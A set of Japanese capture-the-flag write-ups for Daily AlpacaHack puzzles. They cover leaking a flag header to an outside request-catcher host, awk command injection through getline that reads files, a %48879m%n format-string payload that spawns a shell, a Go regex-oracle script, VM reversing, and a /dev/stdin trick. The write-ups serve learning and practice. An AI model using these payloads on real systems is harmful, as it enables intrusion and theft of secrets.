Daily AlpacaHack: Fushigi Crawler Writeup

指定した URL にリクエストしてくれる Web サービスが渡される。 フロントエンドからリクエストを受けて、実際に Fetch API で外部にリクエストする API のコードは以下のようになっている。

import express from "express";
import rateLimit from "express-rate-limit";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const app = express();
app.use(express.json());
app.use(express.static("public"));
app.use("/api", rateLimit({ windowMs: 60 * 1000, max: 4, }));

app.post("/api/crawl-request", async (req, res) => {
  const url = req.body?.url;
  if (typeof url !== "string" || (!url.startsWith("http://") && !url.startsWith("https://")))
    return res.status(400).send("Invalid url");
  try {
    const r = await fetch(url, { headers: { FLAG }, signal: AbortSignal.timeout(5000) }); // !!
    if (!r.ok) return res.status(502).send("Fetch failed");
    return res.sendStatus(200);
  } catch (e) {
    return res.status(500).send(`Something wrong: ${e.name}`);
  }
});

app.listen(3333);

ヘッダにフラグがついているみたいなので、RequestBin を使ってリクエストを受け取ることにした。

GET / HTTP/1.1
Host: 7ffe0ac08ab9539b8a1bg1zes5yyyyyyb.oast.pro
Accept: */*
Accept-Encoding: br, gzip, deflate
Accept-Language: *
Connection: keep-alive
Flag: Alpaca{CRAWLER_IS_SUGOI!}
Sec-Fetch-Mode: cors
User-Agent: node

受け取ったリクエストからフラグが得られた。

Alpaca{CRAWLER_IS_SUGOI!}

Daily AlpacaHack: Encoding Basics Writeup

以下のような Python のコードと、これの出力であるテキストファイルが渡されます。

from Crypto.Util.number import *
import base64
import os

flag = os.getenv("FLAG", "DUMMYD{DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMY}").encode()
flag1 = flag[:20]
flag2 = flag[20:40]
flag3 = flag[40:]

print(f"long_value = {bytes_to_long(flag1)}")
print(f'hex_string = "{flag2.hex()}"')
print(f'base64_string = "{base64.b64encode(flag3).decode()}"')
long_value = 373502670300504551747111047082539140193958649718
hex_string = "346c5f6833785f6630726d61745f31735f636c33"
base64_string = "NG5fYjY0X3A0ZGQxbmdfaXNfY29vbH0="

20文字ずつ区切ってそれぞれ bytes_to_long 、16進変換、base64エンコードされています。 逆の処理をして結合する以下のスクリプトを書いて実行することでフラグが得られました。

from Crypto.Util.number import *
import base64

long_value = 373502670300504551747111047082539140193958649718
hex_string = "346c5f6833785f6630726d61745f31735f636c33"
base64_string = "NG5fYjY0X3A0ZGQxbmdfaXNfY29vbH0="

print(f"{long_to_bytes(long_value).decode()}{bytes.fromhex(hex_string).decode()}{base64.b64decode(base64_string).decode()}")
Alpaca{b1g_1nt3ger_v4l_h3x_f0rmat_1s_cl34n_b64_p4dd1ng_is_cool}

Daily AlpacaHack: Useful Machine Writeup

Python で書かれた言語仮想マシンと、その言語仮想マシンで動作する中間表現のバイナリ(あるいは、独自命令セットを持つCPUをエミュレーションするVMとそのVMで動く実行可能バイナリ)が渡されます。

vm.py (クリックで展開)

import sys

class VM:
    def __init__(self, program: bytes):
        self.program = program
        self.mem = [0] * 256
        self.ip = 0

    def _read_input_char(self) -> str:
        ch = sys.stdin.read(1)
        if ch == "":
            return "\x00"
        return ch

    def step(self) -> bool:
        if self.ip < 0 or self.ip >= len(self.program):
            return False

        code = self.program
        opcode = code[self.ip]
        oprand1 = code[self.ip + 1]
        oprand2 = code[self.ip + 2]
        self.ip += 3
        if opcode == 0:
            ch = self._read_input_char()
            self.mem[oprand1] = ord(ch) % 256
        elif opcode == 1:
            self.mem[oprand1] = oprand2
        elif opcode == 2:
            self.mem[oprand1] = self.mem[oprand2]
        elif opcode == 3:
            self.mem[oprand1] = (self.mem[oprand1] + self.mem[oprand2]) % 256
        elif opcode == 4:
            self.mem[oprand1] = (self.mem[oprand1] * self.mem[oprand2]) % 256
        elif opcode == 5:
            self.mem[oprand1] = self.mem[oprand1] ^ self.mem[oprand2]
        elif opcode == 6:
            self.mem[oprand1] = 0 if self.mem[oprand1] != 0 else 1
        else:
            raise RuntimeError(f"Unknown opcode {opcode!r} at ip={self.ip}")
        return True

    def run(self, max_steps: int = 10_000_000) -> bool:
        steps = 0
        while steps < max_steps and self.step():
            steps += 1
        return self.mem[0] == 0

if __name__ == "__main__":

    with open("program", "rb") as f:
        program = f.read()

    vm = VM(program)
    print("Input flag: ")
    if vm.run():
        print("Correct flag!")
    else:
        print("Incorrect flag.")

ざっと読むと、以下のことがわかります:

  • 与えられた中間表現は標準入力からフラグを読み取って判定するプログラムであること
  • 中間表現の各命令は 3 バイトの固定長であり、1 バイト目がオペコード、2 バイト目と 3 バイト目がオペランドであること
  • 言語仮想マシンにはメモリ領域が 256 個ぶんあり、ゼロクリアされていること
  • mem[0] の値が最終的に 0 になっていた場合、正しいフラグが入力されたと判定すること

早速、中間表現がどのようなプログラムになっているか読みたいところですが、バイナリを直接読むのは大変なので、オペコードの分岐部分に print を仕込んで適当な入力を与えることで、中間表現を人間が読める形に変換しましょう。

         oprand2 = code[self.ip + 2]
         self.ip += 3
         if opcode == 0:
+            print(f"mem[{oprand1}] = read_input_char()")
             ch = self._read_input_char()
             self.mem[oprand1] = ord(ch) % 256
         elif opcode == 1:
+            print(f"mem[{oprand1}] = {oprand2}")
             self.mem[oprand1] = oprand2
         elif opcode == 2:
+            print(f"mem[{oprand1}] = mem[{oprand2}]")
             self.mem[oprand1] = self.mem[oprand2]
         elif opcode == 3:
+            print(f"mem[{oprand1}] += mem[{oprand2}]")
             self.mem[oprand1] = (self.mem[oprand1] + self.mem[oprand2]) % 256
         elif opcode == 4:
+            print(f"mem[{oprand1}] *= mem[{oprand2}]")
             self.mem[oprand1] = (self.mem[oprand1] * self.mem[oprand2]) % 256
         elif opcode == 5:
+            print(f"mem[{oprand1}] ^= mem[{oprand2}]")
             self.mem[oprand1] = self.mem[oprand1] ^ self.mem[oprand2]
         elif opcode == 6:
+            print(f"mem[{oprand1}] = 0 if mem[{oprand1}] != 0 else 1")
             self.mem[oprand1] = 0 if self.mem[oprand1] != 0 else 1
         else:
             raise RuntimeError(f"Unknown opcode {opcode!r} at ip={self.ip}")

こんな感じでそれっぽい print を書いて実行し、十分な長さの入力を与えると、以下のような出力が得られます。

実行結果 (クリックで展開)

Input flag: 
mem[0] = 1
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 9
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 184
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 218
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 146
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 240
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 210
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 218
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 171
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 193
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 135
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 238
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 204
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 169
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 250
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 202
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 122
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 186
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 191
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 208
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 155
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 195
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 231
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 137
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 254
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 141
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 22
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 128
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 35
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 128
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 68
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 90
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 173
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 161
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 235
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 199
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 66
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 69
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 154
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 249
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 196
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 210
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 135
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 162
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 131
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 242
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 210
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 67
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 57
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 3
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 205
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 79
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 22
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 200
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 106
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 90
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 175
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 152
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 214
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 82
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 60
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 183
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 108
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 253
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 228
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 170
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 41
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 231
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 35
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 198
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 125
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 226
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 242
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 132
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 8
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 112
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 211
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 43
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 117
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[1] = read_input_char()
mem[1] += mem[3]
mem[2] = 235
mem[1] ^= mem[2]
mem[3] = mem[1]
mem[2] = 29
mem[1] += mem[2]
mem[1] = 0 if mem[1] != 0 else 1
mem[0] *= mem[1]
mem[0] = 0 if mem[0] != 0 else 1
Incorrect flag.

これを読むと、まず以下のことが目に留まります:

  • mem[1] = read_input_char() から次の mem[1] = read_input_char() までは mem[2] へ代入されている即値の値を除いて共通の処理が繰り返されていること
  • mem[2] は即値を一時的に保存しておくためにのみ使用されていること

また、ループの外側の処理(最初の行と最終行)に注目し mem[0] の扱いを追っていくと、次のことにも気づきました:

  • mem[0] はループの前に 1 に初期化されていること
  • mem[0] はループ中に mem[1] が 0 のときに 1、そうでないときに 0 が掛けられること
  • mem[0] はループを抜けたあとに 0 と 1 が反転されること
    • 厳密には 0 以外だと 1 に、1 だと 0 になるが、1 か 0 しか掛け合わされていないことがループ内の処理を読むとわかるので、反転と捉えてよい

言語仮想マシンのコードでは mem[0] が最終的に 0 となることを期待されていたことを合わせて考えると、 mem[0] はループ中の何らかの判定結果が全て条件を満たしているかチェックするためのバッファ(配列に対する all を計算するときのアキュムレータ)であることがわかります。

以上の気づきを踏まえつつ、先程の読める形に変換した中間表現を整理すると、以下のような形になりました(Python っぽい書き方をしていますが、疑似コードです)。 % 256 は省略しています。

mem0 = True

mem3 = 0
for pair = range(0, len(numbers), 2):
    mem3 = (read_input_char() + mem3) ^ a # a = 9
    mem1 = mem3 + b # b = 184
    mem0 = mem0 and (mem1 == 0)

mem0 = not mem0

abmem[2] に代入される即値のうち、ループ中に最初に入ってくるものを a 、2番めに入ってくるものを b と置き換えています。コメントの a = 9b = 184 は最初のループでそれぞれに入ってくる値をメモしたものです。

これでもまだ少しわかりにくかったので、図を書いて何をやっているか整理してみました。

図を見ると、以下のようなことがわかりました。

  • XOR を利用したブロック暗号であり、ブロックサイズは1バイトである
  • 平文ブロックに前の暗号文ブロックを加算してから暗号化するような暗号利用モードが使用されている
  • key は a である
  • 暗号文ブロックの 256 を法とした加算における逆元が b である

この情報をもとに、 mem[2] に代入される即値のリストを numbers として以下のような復号処理を書きました。

numbers = [9,184,218,146,240,210,218,171,193,135,238,204,169,250,202,122,186,191,208,155,195,231,137,254,141,22,128,35,128,68,90,173,161,235,199,66,69,154,249,196,210,135,162,131,242,210,67,57,3,205,79,22,200,106,90,175,152,214,82,60,183,108,253,228,170,41,231,35,198,125,226,242,132,8,112,211,43,117,235,29]
key = numbers[0::2]
encrypted_flag = numbers[1::2]

prev_block = 0
for (k, e) in zip(key, encrypted_flag):
    block = (e * -1) % 256
    print(chr(((block ^ k) - prev_block) % 256), end="")
    prev_block = block

これを実行するとフラグが得られました。

Alpaca{Futures_Made_of_Virtual_Machines}

Daily AlpacaHack: Log Viewer Writeup

以下のような Web アプリケーション が渡されます。 POST リクエストの form で query を渡すと awk の引数として渡されている正規表現の中身として展開されて、 info.log の中身を検索できるもののようです。

import subprocess
from flask import Flask, render_template, request


app = Flask(__name__)


@app.route("/", methods=["GET", "POST"])
def index():
    query = ""
    log = ""
    if request.method == "POST":
        query = request.form.get("query", "")

        command = ["awk", f"/{query}/", "info.log"]
        result = subprocess.run(
            command,
            capture_output=True,
            timeout=0.5,
            text=True,
        )
        log = result.stderr or result.stdout
    
    return render_template(
        "index.html",
        log=log,
        query=query,
    )

まず、 / を入力してみると、以下のようにエラーが出るので、メタ文字として解釈されていそうなことがわかります。これは使えそうです。

awk: line 1: syntax error at or near end of line

次に、 / { print $0 } を試してみると、以下のようなエラーが出ます。これはおそらく、後ろに残った / 部分が正規表現の始まりだと解釈されて、閉じられていないのでエラーになっていると考えられます。

awk: line 1: runaway regular expression / ...

awkプログラミング言語なので、コメントアウトの方法があるのではと調べてみると、 #コメントアウトできることがわかります。 / { print $0 } # を試してみると以下のようになります。

242.24.138.42 - - [01/Nov/2025 00:41:36] "DELETE / HTTP/2.0" 200 -
210.109.96.36 - - [01/Nov/2025 00:58:26] "PUT /api/items HTTP/1.0" 404 -
222.133.119.212 - - [01/Nov/2025 01:43:22] "GET /static/style.css HTTP/1.1" 500 -
239.122.152.88 - - [01/Nov/2025 02:18:59] "GET /static/app.js HTTP/1.0" 200 -
65.175.236.220 - - [01/Nov/2025 03:01:03] "POST /logout HTTP/2.0" 200 -
167.180.131.190 - - [01/Nov/2025 03:23:23] "GET /login HTTP/1.1" 200 -
(省略)

これだと print が効いているのかイマイチわかりにくいので、 / { print $1 } # にしてみると、

242.24.138.42
210.109.96.36
222.133.119.212
239.122.152.88
65.175.236.220

となって、うまくいっていそうです。

あとは、awk で任意のコマンドを実行できる方法を探せば良さそうです。以下の記事を読むと、 system() を使うか getline を使うかの選択肢がありそうです。

orebibou.com

最初に system() を試してみましたが、 / { system("ls") } # を入力すると、Internal Server Error になったりしてうまくいかなそうです。ローカルでサーバーを動かしてこの入力をしたときのバックエンドエラーを確認しましたが、なぜかタイムアウトしていて正直よくわからないという感じでした。

バックエンドエラー

web-1  | 172.21.0.1 - - [24/Dec/2025 14:35:35] "POST / HTTP/1.1" 500 -
web-1  | [2025-12-24 14:35:56,133] ERROR in app: Exception on / [POST]
web-1  | Traceback (most recent call last):
web-1  |   File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 1511, in wsgi_app
web-1  |     response = self.full_dispatch_request()
web-1  |   File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 919, in full_dispatch_request
web-1  |     rv = self.handle_user_exception(e)
web-1  |   File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 917, in full_dispatch_request
web-1  |     rv = self.dispatch_request()
web-1  |   File "/usr/local/lib/python3.14/site-packages/flask/app.py", line 902, in dispatch_request
web-1  |     return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
web-1  |            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
web-1  |   File "/app/app.py", line 16, in index
web-1  |     result = subprocess.run(
web-1  |         command,
web-1  |     ...<2 lines>...
web-1  |         text=True,
web-1  |     )
web-1  |   File "/usr/local/lib/python3.14/subprocess.py", line 556, in run
web-1  |     stdout, stderr = process.communicate(input, timeout=timeout)
web-1  |                      ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^
web-1  |   File "/usr/local/lib/python3.14/subprocess.py", line 1220, in communicate
web-1  |     stdout, stderr = self._communicate(input, endtime, timeout)
web-1  |                      ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
web-1  |   File "/usr/local/lib/python3.14/subprocess.py", line 2127, in _communicate
web-1  |     self._check_timeout(endtime, orig_timeout, stdout, stderr)
web-1  |     ~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
web-1  |   File "/usr/local/lib/python3.14/subprocess.py", line 1267, in _check_timeout
web-1  |     raise TimeoutExpired(
web-1  |     ...<2 lines>...
web-1  |             stderr=b''.join(stderr_seq) if stderr_seq else None)
web-1  | subprocess.TimeoutExpired: Command '['awk', '// { system("ls") } #/', 'info.log']' timed out after 0.5 seconds

system() を使うのは諦めて、 getline を使う方向で試してみます。 / { "ls /" | getline t; print t } # を入力すると、以下のような出力が得られました。うまくいっていそうです。

app
bin
boot
dev
etc
flag-3876917cbd1b3db12e39587c66ac2891.txt
home
(省略)

フラグのファイル名がわかったので、ファイルの中身を読むために / { "cat /flag-c524ccd5b45a2f09035bb98e967d0aae.txt" | getline t; print t } # を入力してみると、いっぱいフラグが得られました。

Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
Alpaca{th3_AWK_Pr0gr4mming_Lan9u4g3}
(省略)

Daily AlpacaHack: Rotten Beef Writeup

以下のような C で書かれたコードとコンパイル済みの実行可能バイナリ、それが動いているサーバーが渡されます。 コードを読むと、 scanf で標準入力から読み取られた文字列が printf の第一引数として渡っていて、FSB がありそうなことがわかります。 後続の処理を読むと、 key0xbeef になっていれば、シェルが実行されて、フラグを読むことができそうです。

#include <stdio.h>
#include <unistd.h>

int main(void) {
    int key = 0xdead, dummy = 0xdead;
    char buffer[12];
    printf("input > ");
    scanf("%11s", buffer);
    printf("Your input: ");
    printf(buffer, &key, &dummy); // !?
    printf("\n");
    if(key == 0xbeef){
        printf("key = 0x%x (dummy = 0x%x), ok!\n", key, dummy);
        printf("Congratulations! spawning shell...\n");
        execve("/bin/sh", NULL, NULL);
    }
    else{
        printf("key = 0x%x (dummy = 0x%x), try again!\n", key, dummy);
    }
    return 0;
}

FSB といえば %n なので、これを利用することをまず考えます。printf の第二引数に &key が渡っていることから、 key の値を書き換えること自体はできそうですが、scanf が 11 文字しか読み取っていないことに注意が必要です。 key0xbeef にするには、 %n の前に 0xbeef = 48879 文字出力させなければいけません。 dummy をうまく使うんだろうか…?なんてことを考えながら、 printf のドキュメントを眺めていると、使えそうなフォーマット指定子が見つかりました。

m

(glibc での拡張; uClibc と musl で対応) strerror(errno) の出力を表示する。引数は必要ない。 https://linuxjm.sourceforge.io/html/LDP_man-pages/man3/printf.3.html

「引数は必要ない」というところがポイントで、 &key は第二引数にあるため、 %48879x%n のような入力では、 key ではなく dummy に値が入ってしまいます。 %m を使用することで、引数を消費せずに必要な文字数を出力させることができます。

%48879m%n

のように入力することで、シェルが起動し、フラグが得られました。

$ nc 34.170.146.252 43086
input > %48879m%n
Your input: (省略)
key = 0xbeef (dummy = 0xdead), ok!
Congratulations! spawning shell...
ls
bin
boot
chal
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
Alpaca{format_str1ng_is_s0_fun}

これを書いたあとに作問者の Writeup を見たら、 %1$n みたいな書き方でどの引数の指すアドレスに格納するか選択できるみたいで勉強になりました

hiikunz.hatenablog.com

Daily AlpacaHack: hit-and-miss Writeup

以下のような、正規表現を与えるとフラグがそれにマッチしているかを判定してくれるサーバーが建っています。

import os, re

FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}")
assert re.fullmatch(r"Alpaca\{\w+\}", FLAG)

while pattern := input("regex> "):
    if re.match(pattern, FLAG):
        print("Hit!")
    else:
        print("Miss...")

以下のように、 \w にマッチする値を列挙して半分ずつ [] で囲って ^Alpaca{ の末尾に追加し、二分探索で1文字ずつ特定していくコードを書きました。 } が出現しても止まらないガバガバコードなので、自分で Ctrl-C して止める必要があります。試行錯誤の結果 else 句しか中身がない if が生まれたりしていますが、ご愛嬌ということで。

package main

import (
    "fmt"
    "log"
    "net"
    "strings"
)

const (
    Addr  = "34.170.146.252:46849"
    Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123156789_{}"
)

var CharList = []byte(Chars)

func main() {
    conn, err := net.Dial("tcp", Addr)
    if err != nil {
        panic(err)
    }
    defer conn.Close()

    buf := make([]byte, 1024)
    if _, err := conn.Read(buf); err != nil {
        panic(err)
    }

    if !strings.HasPrefix(string(buf), "regex>") {
        log.Fatalln(string(buf))
    }

    ans := []byte{}
    left, right := 0, len(CharList)
    for {
        orig_right := right
        right = (left + right) / 2

        payload := []byte("^")
        payload = append(payload, ans...)
        payload = append(payload, []byte("[")...)
        payload = append(payload, CharList[left:right]...)
        payload = append(payload, []byte("]")...)
        payload = append(payload, []byte("\n")...)

        fmt.Println(string(payload))

        if _, err := conn.Write(payload); err != nil {
            panic(err)
        }

        buf := make([]byte, 1024)
        if _, err := conn.Read(buf); err != nil {
            panic(err)
        }

        fmt.Println(string(buf))

        if strings.Contains(string(buf), "Hit!") {
        } else {
            left = right
            right = orig_right
        }

        if len(CharList[left:right]) == 1 {
            ans = append(ans, CharList[left:right]...)
            left, right = 0, len(CharList)
        }
    }
}

これを実行することで、フラグが得られました

Alpaca{Reg3x_Crossw0rd}

こういう二分探索、いつまで経っても微妙にバグらせるんですよね…

Daily AlpacaHack: 🐈 Writeup

Nyan Cat!

にゃーん

という感じで Web アプリケーションの URL とソースコードが渡されます。 入力したファイルの中身を表示してくれるアプリケーションのようです。

パスを受け取ってファイルの中身を返却する API の中身は以下のようになっています。

@app.get("/cat")
def cat():
    file = request.args.get("file", "app.py")
    if not Path(file).exists():
        return "🚫"
    if "flag" in file:
        return "🚩"

    return subprocess.run(
        ["cat", file],
        capture_output=True,
        timeout=1,
        stdin=open("flag.txt"),  # !!
    ).stdout.decode()

ファイルが存在しなかったり、パスに flag が含まれていたりすると、early return して、 cat コマンドの実行部分までたどり着けません。

よく見ると、 cat コマンドを実行する subprocess.run に標準入力として flag.txt の中身が渡っており、ご丁寧に # !! とコメントまでされています。ファイルとして存在していて、 cat の引数として渡せて、標準入力を表すもの…そう、 /dev/stdin ですね!

というわけで、 /dev/stdin を入力すると、フラグが得られました。

Alpaca{https://http.cat/100}